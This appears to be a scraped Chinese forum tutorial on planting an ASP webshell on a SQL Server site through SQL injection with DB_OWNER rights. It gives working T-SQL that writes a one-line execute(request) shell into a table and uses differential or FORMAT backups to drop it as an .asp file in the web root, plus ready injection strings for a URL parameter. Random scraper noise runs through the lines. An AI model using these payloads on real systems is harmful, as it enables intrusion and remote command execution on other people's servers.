DB_OWNER权限得到webshell的两点改进:
I2 o9 t* _8 T; I6 Q A& m6 O$ f; l- @5 E |& C0 f3 j
减少备份文件大小,得到可执行的webshell成功率提高不少/ ^/ \0 l: L1 n2 A' s. I
一利用差异备份/ S* L: R" F7 Z2 |& g6 }" X
加一个参数WITH DIFFERENTIAL% b2 W0 ^+ a) j( e) d! @
9 N1 ^0 a* V* B17 Q5 J& Y0 T" Z' T8 U1 v4 f
2
4 B: p% y' l/ j+ b# c3
, ], p7 X- o0 _9 `' q4
' c. o; v0 S% {+ s! [7 U; v declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ r3 m8 o3 f( u0 e4 Acreate table [dbo].[xiaolu] ([cmd] [image]);3 B4 y6 w ~ \7 s" @ {
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)) c" ] O/ C' e1 ~0 _! u& ~- m3 V
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
q4 z% w, ~, a% L7 u( y7 x
% \, o! Z' J1 @. }* j( B9 i二利用完全FORMAT
" D3 a, m& l2 V& c加一个参数WITH FROMAT
% z- ^! C6 r1 o ^% I; z有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
" F0 b0 Q3 u, t. K1 s3 Z- ?5 ?* C# z5 C
1
7 O* c$ ?/ d; h3 a2
. N/ T; j+ s9 X31 r9 j7 ~9 T/ |1 ^/ G' o
4' N. y( L* h; j2 [% }
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
, x, h, Q8 S# n% I9 ~create table [dbo].[xiaolu] ([cmd] [image]);
9 t$ G9 Q; t6 Ainsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
* P" w; h9 t, Adeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
& T1 t% G8 Z) P. Z& Z1 \' q; x; ]8 I
总的来说就是那么简单几句,下面以备份数据库model为例子# y! ]' X$ R( S2 Z
1
' J1 Z6 v" Y! W/ G) `
$ D$ k, h5 ?* }8 ~+ V5 b1
) V" @' N* N! p$ B% I) ]* H! V id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
0 T- j; g; A" r4 g5 Y
; x+ P. J) M$ I) F: c6 d/ L3 s e2
6 V Y+ g! l& F6 E* v, e& U
, E- \. E' D3 l* N& m; j: Y% Y1+ O% `( Y1 W6 i& K
id=1;backup database model to disk='你的路径‘ with differential,format;-- / s, R8 I' k6 Y: L3 |
|